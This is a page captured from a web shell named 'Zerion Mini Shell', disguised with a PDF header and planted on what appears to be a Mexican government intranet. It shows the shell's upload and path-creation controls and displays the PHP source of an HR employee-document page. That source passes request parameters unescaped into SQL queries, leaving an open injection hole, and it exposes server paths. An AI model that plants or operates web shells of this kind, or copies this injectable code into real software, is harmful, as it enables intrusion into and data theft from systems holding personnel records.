%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/content_expediente_a.php

<?php

$conf = new Configuracion();

$conf->conectarBD();



$id_personal          =  isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] : 0;



$id_usuario = $_SESSION['id_usuario'];

$noti       = isset($_REQUEST['noti']) ? $_REQUEST['noti'] : 0;

$anio       = isset($_REQUEST['anio']) ? $_REQUEST['anio'] : date('Y');



//Consulta datos de la persona desde oficialia rh

$consulta = "SELECT nombre, apellido1, apellido2

                    FROM tjam_empleados 

                    WHERE id = $id_personal";

$rst1 = $conf->consulta($consulta);



$error        = isset($_REQUEST['error']) ? $_REQUEST['error'] : '0';





?>

<div class="page-content">

    <a href="page_find_personal_at.php?app=1" class="btn btn-pink">Regresar <i class="fa fa-mail-reply"></i></a> <br><br>

    <div class="row">



        <div class="col-md-12">

            <div id="generalTabContent" class="tab-content">

                <div id="tab-messages" class="tab-pane fade in active">

                    <div class="portlet box">

                        <div class="portlet-header">

                            <div class="caption"><?php echo 'Expediente de ' . $rst1[0]["nombre"] . ' ' . $rst1[0]["apellido1"] . ' ' . $rst1[0]["apellido2"] . ''; ?></div>

                        </div>

                        <div class="portlet-body">

                            <?php

                            if (1 == 1) {

                                echo '<div class="panel-body">

                                        <div class="demo-btn">

                                        <div class="row mbm center">

                                        <a href="page_add_personal_documento.php?id_personal=' . $id_personal . '" class="btn btn-success">Agregar Documento

                                        &nbsp;<i class="fa fa-plus"></i></a><br><br>';

                            }

                            ?>

                        </div>

                    </div>

                </div>

                <div class="row mbm">

                    <div class="col-lg-12">

                        <div class="table-responsive">

                            <table id="table_id" style="border-bottom:1px solid #ddd" class="table table-striped table-bordered table-hover">

                                <thead>

                                    <tr>

                                        <th>#</th>

                                        <th>Documento</th>

                                        <th>modalidad</th>

                                        <th>Periodo</th>

                                        <th>Horas</th>

                                        <th>PDF</th>

                                        <th>Estatus</th>

                                        <th>Opciones</th>

                                    </tr>

                                </thead>

                                <tbody>

                                    <?php

                                    $estatus = array("danger", "success", "warning", "danger", "info");



                                    $consulta = "SELECT d.id_documento,d.id_documento_tipo,d.id_personal,d.titulo_doc,d.fecha_registro,d.url_pdf,d.estatus,t.tipo,t.rh,t.academico,if (d.modalidad = 0,'Presencial','En linea') as modalidad,d.horas,d.fecha_ini,d.fecha_fin

                                                    FROM tjam_empleados_documentos d

                                                    JOIN tjam_empleados_documentos_tipo t ON (d.id_documento_tipo = t.id_tipo)

                                                    WHERE d.id_personal = $id_personal AND t.academico = 1 AND d.habilitado = 1

                                                    ORDER BY d.fecha_registro ASC";

                                    $rst1 = $conf->consulta($consulta);



                                    for ($i = 0; $i < count($rst1); $i++) {



                                        $color = $estatus[$rst1[$i]["estatus"]];



                                        echo "<tr>";

                                        echo "<td>" . ($i + 1) . "</td>";

                                        if($rst1[$i]['rh'] == 1)

                                            echo "<td>" . $rst1[$i]['tipo']. "</td>";

                                        else

                                            echo "<td>" . $rst1[$i]['tipo'].' - '.$rst1[$i]['titulo_doc'] . "</td>";



                                        echo "<td>" . $rst1[$i]['modalidad'] . "</td>";

                                        echo "<td>" . $rst1[$i]['fecha_ini'].' - '.$rst1[$i]['fecha_fin'] . "</td>";



                                        echo "<td>" . $rst1[$i]['horas'] . "</td>";



                                        echo '<td>';

                                        echo '<a href="../documentos/rh/' . $rst1[$i]["url_pdf"] . '" target="_BLANK" > <img src="../../common/images/pdf.png" title="Expediente" height="50" width="50" />  </a>';

                                        echo '</td>';



                                        if ($rst1[$i]['estatus'] == '1') {

                                            echo '<td> <span class="label label-success">Validado</span></td>';

                                        } elseif ($rst1[$i]['estatus'] == '2') {

                                            echo '<td> <span class="label label-warning">Por validar</span></td>';

                                        } elseif ($rst1[$i]['estatus'] == '3') {

                                            echo '<td> <span class="label label-danger">Rechazado</span></td>';

                                        } else {

                                            echo '<td> <span class="label label-warning">Por validar</span></td>';

                                        }



                                        echo '<td><div class="btn-group">

                                                <button data-toggle="dropdown" class="btn btn-sm dropdown-toggle btn-blue">

                                                <i class="fa fa-cog"></i> Opciones <span class="caret"></span>

                                                </button>

                                            <ul class="dropdown-menu pull-right">';

                                        echo

                                        '<li><a href="./editar_documento_a.php?id_personal=' . $rst1[$i]['id_personal'] . '&id_documento=' . $rst1[$i]['id_documento'] . '&estatus=1" onclick="return confirm(\'Validar el documento?\');">

                                                                <i class="fa fa-check"></i><span class="divider-text"></span>Validar</a></li>';

                                        echo

                                        '<li><a href="./editar_documento_a.php?id_personal=' . $rst1[$i]['id_personal'] . '&id_documento=' . $rst1[$i]['id_documento'] . '&estatus=3" onclick="return confirm(\'Rechazar el documento?\');">

                                                                <i class="fa fa-ban"></i><span class="divider-text"></span>Rechazar</a></li>';

                                        echo    '</ul>

                                                    </div>

                                                     </td>';

                                        echo '</tr>';

                                    }

                                    $conf->desconectarDB();

                                    ?>

                                </tbody>

                            </table>

                        </div>

                    </div>



                </div>

            </div>

        </div>

    </div>

</div>

</div>

Zerion Mini Shell 1.0